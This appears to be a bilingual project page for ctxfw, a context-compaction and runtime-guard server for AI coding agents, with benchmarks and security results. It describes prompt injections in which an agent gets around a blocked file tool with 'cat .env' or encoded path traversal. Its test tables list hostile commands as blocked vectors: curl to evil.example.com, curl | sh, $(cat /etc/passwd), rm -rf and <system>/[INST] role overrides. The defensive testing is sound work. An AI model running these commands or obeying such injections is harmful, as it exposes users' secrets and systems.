CTXFW // RESEARCH v4.0.1
Engine: ctxfw v4.0.1 (170425e) Runner: Ephemeral Docker (python:3.11.17-slim, Linux 6.8 x86_64) Tests: 467/467 Passing Attestation SHA-256: a65dfde1...671e45f61a9

Deterministic AST Context Compaction (D0→D3) and Runtime Verification Gates for Coding Agents

Compresión Determinista de Contexto AST (D0→D3) y Compuertas de Verificación en Runtime para Agentes de Código

TL;DR — Empirical Summary (Zero-Fluff Engineering Brief) TL;DR — Resumen Empírico (Informe de Ingeniería sin Ruido) ACI: 1.0000 // Glama MCP: 5 Tools
  1. The Context Paradox: Dumping raw repository dependency graphs into coding agents consumes 328K–1.38M tokens per neighborhood, while hiding files behind BM25/vector search causes agents to miss peripheral utilities and rewrite existing helpers. By keeping the active focal file (D0) 100% intact, projecting direct imports (D1) to typed interface stubs (...), reducing 2-hop modules (D2) to nominal class skeletons, and compressing 3-hop perimeters (D3) into a ≤1,000-token coordinate catalog, ctxfw v4.0.1 cuts D3 bundles by 74.40% on Zulip (9.45 ms P95), 69.72% on Airflow (14.66 ms P95), and 49.32% on PostHog (59.54 ms P95) via SQLite WAL caching.
  2. The Sovereign Pentad (5 Deterministic Runtime Gates): Compaction alone does not stop an agent from executing indirect prompt injections hidden in repo files or submitting high-complexity diffs that pass unit tests while degrading architecture. ctxfw v4.0.1 embeds five zero-float engines inside its MCP server: TokenCast (38.5 µs P50 64-turn integer forecaster & -89.81% reactive D3 circuit breaker), RulesCompiler (compiles CLAUDE.md / .cursorrules into AST/path/command guards, blocking 12/12 %252e%252e traversal & shell attacks in 0.22 ms P50), SARA (0.22 ms P50 6-state taint FSM quarantining curl | sh & $(...) injections), SWE-Gate (0.92 ms P50 diff verifier rejecting # type: ignore and banned imports even when 644/644 unit tests pass), and TraceKit (query_audit_ledger verifying SHA-256 chains in 1.01 ms with zero DB writes).
  3. Reproduce Every Metric in 60 Seconds: Run the ephemeral Docker container below or inspect the raw attested JSON output directly.
  1. La Paradoja del Contexto: Inyectar grafos crudos de dependencias en agentes de código consume 328K–1.38M tokens por vecindario, mientras que ocultar archivos tras búsqueda vectorial/BM25 hace que el agente ignore utilidades existentes y las reescriba. Preservando el archivo focal (D0) al 100%, proyectando imports directos (D1) a firmas tipadas (...), reduciendo saltos transitivos (D2) a esqueletos nominales y comprimiendo el perímetro (D3) en un catálogo de coordenadas ≤1,000 tokens, ctxfw v4.0.1 reduce los bundles D3 en 74.40% en Zulip (9.45 ms P95), 69.72% en Airflow (14.66 ms P95) y 49.32% en PostHog (59.54 ms P95) sobre SQLite WAL.
  2. La Péntada Soberana (5 Compuertas Deterministas en Runtime): La poda AST por sí sola no impide inyecciones indirectas de prompt ni parches espagueti que pasan los tests unitarios degradando la arquitectura. ctxfw v4.0.1 integra cinco motores sin punto flotante en su servidor MCP: TokenCast (proyección entera de 64 turnos en 38.5 µs P50 y degradación reactiva -89.81%), RulesCompiler (compila CLAUDE.md en guardias AST/ruta/comando bloqueando 12/12 ataques %252e%252e en 0.22 ms P50), SARA (FSM de 6 estados en 0.22 ms P50 que aísla curl | sh en cuarentena), SWE-Gate (rechaza # type: ignore e imports prohibidos en 0.92 ms P50 aunque pasen 644/644 tests) y TraceKit (query_audit_ledger verificando cadenas SHA-256 en 1.01 ms con cero escrituras).
  3. Reproduce cada métrica en 60 segundos: Ejecuta el contenedor Docker efímero debajo o inspecciona el JSON certificado crudo.
git clone https://github.com/heuristicolab/ctxfw.git && cd ctxfw && docker build -f benchmarks/docker/Dockerfile.trilogy -t ctxfw-bench . && docker run --rm ctxfw-bench
Zulip D3 Compaction (2,037 files)
-74.40%
328,379 → 84,049 tokens | 9.45 ms P95 (SQLite WAL)
Airflow D3 Compaction (8,348 files)
-69.72%
454,364 → 137,599 tokens | 14.66 ms P95 | 100% AST Valid
TokenCast 64-Turn Integer Forecast
38.50 µs
P50 (0.0545 ms P95) | Zero-float | -89.81% reactive D3 collapse
SARA + Rules + SWE-Gate P50
0.22–0.92 ms
12/12 traversal/cmd blocks | 6/6 SARA | 644-test paradox caught

01 Three Structural Failure Modes in Production Coding AgentsTres Modos de Fallo Estructurales en Agentes de Código en Producción

Across production deployments of autonomous coding agents (Claude Code, Cursor, Windsurf, OpenCode), three failure modes consistently emerge regardless of which frontier LLM sits behind the harness:

En despliegues reales de agentes autónomos de programación (Claude Code, Cursor, Windsurf, OpenCode), emergen sistemáticamente tres modos de fallo sin importar qué modelo frontera opere detrás del arnés:

1. The Topological Context Paradox (Raw Graph Dump vs. Blind BM25 Chunking)
1. La Paradoja Topológica del Contexto (Volcado Crudo vs. Fragmentación Ciega BM25)
When an agent edits zerver/models/users.py in zulip/zulip (D0, 12,902 tokens), it requires exact parameter types, return types, decorators, and raised exceptions from its direct imports (D1, 102,555 raw tokens across 10 modules) and 2-hop/3-hop transitive dependencies (D2, 1,237,001 raw tokens across 346 modules). Dumping raw files overflows the context window; conversely, hiding dependencies behind BM25 or vector RAG search causes the agent to lose peripheral awareness and hallucinate duplicate utility functions.
Cuando un agente edita zerver/models/users.py en zulip/zulip (D0, 12,902 tokens), necesita los tipos exactos de parámetros, retornos, decoradores y excepciones de sus imports directos (D1, 102,555 tokens crudos en 10 módulos) y dependencias transitivas a 2 y 3 saltos (D2, 1,237,001 tokens crudos en 346 módulos). Volcar archivos crudos desborda la ventana de contexto; ocultarlos tras búsqueda BM25/vectorial hace que el agente pierda visibilidad periférica y reescriba funciones que ya existen.
2. Indirect Prompt Injection & The Shell Bypass (cat .env)
2. Inyección Indirecta de Prompt y el Rodeo por Terminal (cat .env)
Coding agents ingest untrusted text from repository docstrings, issues, and test fixtures. As shown in recent security disclosures against IDE agents, when an indirect prompt injection instructs an agent to exfiltrate .env and the IDE's file reader blocks .gitignore paths, the agent routinely bypasses the file tool by invoking cat .env or multi-round URL-encoded path traversal (%252e%252e/) in bash. Prose rules in CLAUDE.md are probabilistic suggestions, not runtime security boundaries.
Los agentes ingieren texto no confiable de docstrings, issues y fixtures. Como demostraron divulgaciones recientes en IDEs agénticos, cuando una inyección indirecta ordena exfiltrar .env y el lector de archivos bloquea rutas de .gitignore, el agente evade el bloqueo ejecutando cat .env o rutas codificadas (%252e%252e/) en bash. Las reglas en prosa dentro de CLAUDE.md son sugerencias probabilísticas, no fronteras de seguridad.
3. The SWE-Bench / SlopCodeBench Complexity Paradox
3. La Paradoja de Complejidad de SWE-Bench / SlopCodeBench
Unit tests verify input-output behavior on sampled states; they do not measure structural entropy. Multi-checkpoint evaluations show that coding agents routinely pass 100% of functional unit tests while multiplying function counts, spiking cyclomatic complexity (ΔCC > 5), introducing forbidden cross-layer imports (import subprocess), and silencing type checkers with # type: ignore.
Los tests unitarios verifican entradas y salidas puntuales, pero no miden la entropía estructural. Los agentes suelen pasar el 100% de las pruebas funcionales multiplicando ramas condicionales (ΔCC > 5), introduciendo imports prohibidos (import subprocess) y silenciando errores de tipos con # type: ignore.

02 Pillar 1: Multi-Depth Topological Compaction (D0→D3) on Real MonolithsPilar 1: Compresión Topológica Multicapa (D0→D3) en Monolitos Reales

Executed inside an isolated ephemeral container (docker run --rm ctxfw:v4.0.1-bench) on Linux-6.8.0-134-generic x86_64 with Python 3.11.17 and SQLite WAL + L1 write-through caching. Every pruned module in zulip and airflow achieved 100.0% ast.parse() syntactic validity:

Ejecutado dentro de un contenedor efímero aislado (docker run --rm ctxfw:v4.0.1-bench) en Linux-6.8.0-134-generic x86_64 con Python 3.11.17 y caché SQLite WAL + L1 write-through. Todos los módulos podados en zulip y airflow certificaron 100.0% de validez sintáctica ast.parse():

Repository & Target Files Depth Mode Mods Raw Tokens Pruned Compaction D3 Index P50 P95 AST
zulip/zulip
e26e967e
zerver/models/users.py
2,037 D0 (Focal) 1 12,902 12,902 0.00% 0 0.75 ms 0.86 ms 100%
D1 (Interface) 10 102,555 45,219 -55.91% 0 2.38 ms 2.48 ms 100%
D2 (Nominal) 346 1,237,001 289,673 -76.58% 0 31.44 ms 34.36 ms 100%
D3 (Ambient) 61 328,379 84,049 -74.40% 92 (814 tok) 7.06 ms 9.45 ms 100%
apache/airflow
62641fa9
airflow/models/dag.py
8,348 D0 (Focal) 1 9,786 9,786 0.00% 0 0.74 ms 0.99 ms 100%
D1 (Interface) 25 160,305 71,130 -55.63% 0 3.65 ms 4.14 ms 100%
D2 (Nominal) 420 1,204,997 351,129 -70.86% 0 41.53 ms 43.75 ms 100%
D3 (Ambient) 102 454,364 137,599 -69.72% 81 (672 tok) 12.79 ms 14.66 ms 100%
PostHog/posthog
e8511e75
models/team/team.py
24,261 D0 (Focal) 1 15,312 15,312 0.00% 0 9.15 ms 12.84 ms 100%
D1 (Interface) 48 624,481 465,402 -25.47% 0 23.95 ms 33.04 ms 97.9%
D2 (Nominal) 9,413 20,991,773 7,978,714 -61.99% 0 983.74 ms 1032.51 ms 99.6%
D3 (Ambient) 211 1,380,811 699,746 -49.32% 118 (885 tok) 52.37 ms 59.54 ms 98.1%

03 Interactive AST Transformation Inspector (D0 → D1 → D2 → D3)Inspector Interactivo de Transformación AST (D0 → D1 → D2 → D3)

Select a topological depth level below to inspect how ctxfw transforms peripheral dependencies while keeping the focal module (D0) bit-for-bit identical:

Selecciona un nivel de profundidad topológica para inspeccionar cómo ctxfw transforma las dependencias periféricas manteniendo el módulo focal (D0) idéntico bit a bit:

AXIOM-3: Zero-Focal Degradation 12,902 → 12,902 tokens (0.75 ms P50). The file actively being edited by the agent is never pruned.

# [D0: Focal File] zerver/actions/create_user.py — 100% Bitwise Identical
from zerver.models.users import UserProfile, get_user_by_delivery_email

def do_activate_user(email: str, realm: Realm) -> UserProfile:
    user = get_user_by_delivery_email(email, realm)
    if not user.is_active:
        user.is_active = True
        user.save(update_fields=["is_active"])
    return user

Interface Projection 102,555 → 45,219 tokens (-55.91% on Zulip, 2.38 ms P50). Preserves 100% of class/function signatures, type annotations, docstrings, and exception contracts while replacing imperative bodies with ... (`ast.parse() == True`).

# [D1: Direct Import] zerver/models/users.py — Interface Projection
class UserProfile(AbstractBaseUser, PermissionsMixin):
    DELIVERY_EMAIL_FIELD: Final[str] = "delivery_email"
    email: str
    is_active: bool
    realm: Realm
    def can_admin_user(self, target_user: UserProfile) -> bool: ...

def get_user_by_delivery_email(email: str, realm: Realm) -> UserProfile:
    """Fetch active or inactive user by canonical delivery email. Raises UserProfile.DoesNotExist."""
    ...

Nominal Skeleton 1,237,001 → 289,673 tokens (-76.58% on Zulip, 31.44 ms P50). 2-hop transitive imports retain class hierarchies, inheritance, and attribute types while eliding internal methods.

# [D2: 2-Hop Transitive Module] zerver/models/realms.py — Nominal Skeleton
class Realm(models.Model):
    string_id: str
    name: str
    deactivated: bool
    plan_type: int
    ...

AXIOM-17..21: Ambient Cartography 328,379 → 84,049 total bundle tokens (-74.40%, 7.06 ms P50, 9.45 ms P95). Compresses 3-hop peripheral files into an 814-token (92-symbol) zero-syntax coordinate index with [DYNAMIC_UNBOUND:?] markers for PEP 562 __getattr__ modules.

### AMBIENT MANIFEST [D3] (Zero-Syntax Symbol Index — 814 tokens, 92 symbols)
# Compact symbol index for 3-hop transitive dependencies. Bodies and signatures omitted.
corporate.lib.billing_types: [BillingModality:C, LicenseLedger:C]
corporate.lib.registration: [check_spare_license_available_for_changing_guest_user_role:F, check_spare_licenses_available:F, generate_licenses_low_warning_message_if_required:F]
airflow.__init__: [DYNAMIC_UNBOUND:?]

04 Pillars 2–5: The Sovereign Pentad Runtime Verification GatesPilares 2–5: Las Compuertas de Verificación en Runtime de la Péntada Soberana

Click through the four runtime verification gates below to inspect the live telemetry recorded inside the ephemeral container (attestation_sha256: a65dfde1...):

Explora las cuatro compuertas de verificación en runtime debajo para inspeccionar la telemetría real registrada dentro del contenedor efímero (attestation_sha256: a65dfde1...):

TokenCast Integer Forecaster & Reactive Circuit Breaker (ctxfw.budget)

100% integer math (ceil_div, ceil_isqrt, zero floats). Across 200 iterations of a 64-turn session history, trajectory projection completed in 38.50 µs P50 (54.48 µs P95). When coupled to zulip/zulip (soft_limit=50,000, hard_limit=100,000):

Breaker State Decision Forecast Tokens FSM Trajectory Active Modules Delivered Bundle Reactive Savings
CLOSED CONTINUE 21,450 ($0.0644) RECEIVED → INGESTED → FORECASTED → DECIDED_CONTINUE 346 295,246 tok Baseline (D2)
TRIPPED FORCE_D3_PRUNING 92,400 ($0.2772) RECEIVED → INGESTED → FORECASTED → DECIDED_PRUNE 10 (+D3 index) 30,083 tok -89.81% collapse
HALTED EMERGENCY_HALT 445,500 ($1.3365) RECEIVED → INGESTED → FORECASTED → DECIDED_HALT 0 (Aborted) 47 tok 1.81 ms Containment

Normative Rules Compiler & 3-Round Path Traversal Shield (ctxfw.rules)

Compiled 10 negative directives from CLAUDE.md into manifest MNF-6cefea9f5996db5b in 0.48 ms P50. Enforced 12/12 (100.0%) adversarial vectors in 0.22 ms P50 with 0 benign false positives:

{
  "manifest_id": "MNF-6cefea9f5996db5b",
  "compile_p50_ms": 0.4798,
  "enforce_p50_ms": 0.2205,
  "adversarial_vectors_blocked": "12 / 12 (100.0%)",
  "benign_false_positives": 0,
  "sample_blocked_vectors": [
    {"vector": "path_traversal_3round", "call": "prune_file %252e%252e/%252e%252e/etc/passwd", "verdict": "BLOCKED", "latency_ms": 0.6075},
    {"vector": "secret_env_access",     "call": "prune_file .env",                            "verdict": "BLOCKED", "latency_ms": 0.5084},
    {"vector": "destructive_rm",        "call": "bash rm -rf /tmp/build",                     "verdict": "BLOCKED", "latency_ms": 0.2218},
    {"vector": "unauthorized_curl",     "call": "bash curl https://evil.example.com/p.sh",    "verdict": "BLOCKED", "latency_ms": 0.2131},
    {"vector": "banned_ast_os_system",  "call": "python os.system('id')",                     "verdict": "BLOCKED", "latency_ms": 0.1892}
  ]
}

SARA Action Induction Runtime Authorization Firewall (ctxfw.sara)

Inspects untrusted file/tool outputs in 0.22 ms P50 before they enter the LLM prompt context. Achieved 6/6 (100.0%) classification accuracy and isolated poisoned payloads in sara_quarantine_payloads:

Observation Case Risk Score Directives FSM Trajectory SARA Verdict
zulip_clean_realms (zerver/models/realms.py) 0.00 0 INGRESSED → SANITIZED → PARSED → AUTHORIZED_ALLOW → AUDITED ALLOW
airflow_clean_dagrun (airflow/models/dagrun.py) 0.00 0 INGRESSED → SANITIZED → PARSED → AUTHORIZED_ALLOW → AUDITED ALLOW
role_override_system_tag (<system>...</system>) 0.35 2 INGRESSED → SANITIZED → PARSED → AUTHORIZED_STRIPPED → AUDITED STRIP_COMMANDS
role_override_inst_unicode ([INST]...[/INST]\u200b) 0.70 3 INGRESSED → SANITIZED → PARSED → AUTHORIZED_STRIPPED → AUDITED STRIP_COMMANDS
indirect_injection_curl_pipe_sh (curl -sSL ... | sh) 0.80 1 INGRESSED → SANITIZED → PARSED → QUARANTINED → AUDITED QUARANTINE_TOOL
indirect_injection_subshell_exfil ($(cat /etc/passwd)) 1.00 4 INGRESSED → SANITIZED → PARSED → QUARANTINED → AUDITED QUARANTINE_TOOL

SWE-Gate CI Verifier & 5th MCP Tool query_audit_ledger

Evaluated candidate agent patches that pass 644/644 functional unit tests in 0.92 ms P50, followed by read-only cryptographic ledger retrieval via query_audit_ledger in 1.01 ms:

{
  "swegate_paradox_evaluations": [
    {"patch_id": "patch_clean_refactor",          "functional_tests": "644 passed, 0 failed", "actual_verdict": "ALLOW_MERGE",                    "violations": [],                                                    "latency_ms": 1.2325},
    {"patch_id": "patch_paradox_type_ignore",     "functional_tests": "644 passed, 0 failed", "actual_verdict": "REJECT_ARCHITECTURAL_VIOLATION", "violations": ["TYPE_IGNORE|zerver/models/users.py:21"],             "latency_ms": 0.9971},
    {"patch_id": "patch_paradox_disallowed_import","functional_tests": "644 passed, 0 failed", "actual_verdict": "REJECT_ARCHITECTURAL_VIOLATION", "violations": ["DISALLOWED_IMPORT|subprocess@airflow/models/dag.py:1"], "latency_ms": 0.8364}
  ],
  "query_audit_ledger_verification": {
    "status": "FOUND",
    "query_latency_ms": 1.009,
    "read_only_zero_side_effects": true,
    "blocks_before_query": 7,
    "blocks_after_query": 7,
    "tracekit_session_audit": {
      "session_id": "SES-pentad-v4-bench",
      "genesis_hash": "7b336fd939f1d394b22e5aef34c8a961f0383bf10150e6a638715a736cdddc05",
      "head_block_hash": "aa82ab845f3d24bbd00719c3f7f3bee5bc2087d792c130bd2ffd2e69214e7f69",
      "total_blocks_audited": 7,
      "chain_valid": true,
      "is_tampered": false
    }
  }
}

05 Limitations, Failure Modes & Answers to Common Systems QuestionsLimitaciones, Modos de Fallo y Respuestas a Objeciones de Sistemas

Engineering tools should state their boundary conditions upfront. Below are the concrete trade-offs and limitations of ctxfw v4.0.1:

Las herramientas de ingeniería deben declarar sus condiciones de frontera sin rodeos. A continuación se detallan los compromisos y limitaciones reales de ctxfw v4.0.1:

Q1: What if the bug lives inside an elided D1 helper's imperative body?
Because D1 replaces method bodies with ... while keeping type signatures, docstrings, and exception contracts intact, an undocumented side effect inside a D1 helper body is hidden in interface mode. To inspect the implementation of a suspect D1 module, the agent calls prune_file(path, depth="full") to promote that specific file to D0 without dumping the other 345 transitive modules into the context window.
Q2: If a rule blocks reading .env, won't an indirect prompt injection coerce the agent into running cat .env in bash?
That exact bypass (where IDE file tools block .gitignore files but the terminal tool executes cat .env) is why ctxfw v4.0.1 pairs SARA with the Normative Rules Compiler. First, SARA intercepts incoming observations containing shell directives or role overrides before they reach the model. Second, RulesCompiler compiles .env and command rules into strict-deny guards with 3-round iterative URL-decoding (%252e%252e → ..), blocking both prune_file .env and bash cat %2e%2e/.env in 0.22 ms.
Q3: What is the cold-cache indexing cost on massive monorepos like PostHog (24,261 Python files)?
While warm SQLite WAL resolution takes 9.45 ms P95 on Zulip, 14.66 ms P95 on Airflow, and 59.54 ms P95 on PostHog, building the initial cold dependency graph across all 24,261 Python files in the full PostHog monorepo takes 190.3 seconds (or 30.1 seconds when scoped to the 5,090-file posthog/ core subtree, which then resolves in 1.98 ms P95 warm). For repositories above 10,000 files, scope project_root to the active package or pre-warm .ctxfw_cache.db in a git post-checkout hook.
Q4: How does static AST analysis handle dynamic Python __getattr__ lazy exports (PEP 562)?
Frameworks like apache/airflow use module-level __getattr__ in __init__.py for lazy imports. Naive static analyzers report those modules as empty. ctxfw implements AXIOM-17: when the AST scanner detects module-level __getattr__ or dynamic __all__ mutation, it emits [DYNAMIC_UNBOUND:?] in the D3 manifest so the agent knows lazy exports exist.
Q5: When should you NOT use ctxfw?
If your entire codebase is under 15,000 tokens, topological AST pruning adds unnecessary indirection—pass raw files directly in D0 and use only evaluate_patch (SWE-Gate) for pre-commit architectural verification.

06 5-Tool MCP Server Configuration & Reproducible ArtifactsConfiguración del Servidor MCP de 5 Herramientas y Artefactos Reproducibles

Install ctxfw v4.0.1 via pip install --upgrade ctxfw or uvx and register the stdio server in Claude Code, Cursor, or Windsurf (0 bytes of non-JSON-RPC stdout noise guaranteed by AXIOM-8):

Instala ctxfw v4.0.1 mediante pip install --upgrade ctxfw o uvx y registra el servidor stdio en Claude Code, Cursor o Windsurf (0 bytes de ruido en stdout fuera de JSON-RPC garantizado por AXIOM-8):

{
  "mcpServers": {
    "ctxfw": {
      "command": "python",
      "args": ["-m", "ctxfw.mcp"]
    }
  }
}
MCP Tool Name Pipeline Stage Behavioral Annotations Measured P50 Latency
evaluate_spec_axioms Stage 1 — Pre-Synthesis Specification Gate (ACI ≥ 0.9000) readOnlyHint: true, idempotentHint: true 0.31 ms
resolve_context_bundle Stage 2a — Multi-Module Topological D0→D3 Bundle + TokenCast + SARA readOnlyHint: true, idempotentHint: true 7.06 ms (Zulip D3)
prune_file Stage 2b — Single-File AST Interface/Nominal Pruner + SARA readOnlyHint: true, idempotentHint: true 0.75 ms
evaluate_patch Stage 3 — SWE-Gate Diff Verifier + TraceKit SHA-256 Persistence readOnlyHint: false, idempotentHint: false 0.92 ms
query_audit_ledger Stage 4 — Read-Only SWE-Gate & TraceKit Cryptographic Audit Query readOnlyHint: true, idempotentHint: true 1.01 ms
⌘ MACHINE VIEW // RAW MARKDOWN EMPIRICAL STUDY (ctxfw v4.0.1 · SHA-256: a65dfde1...)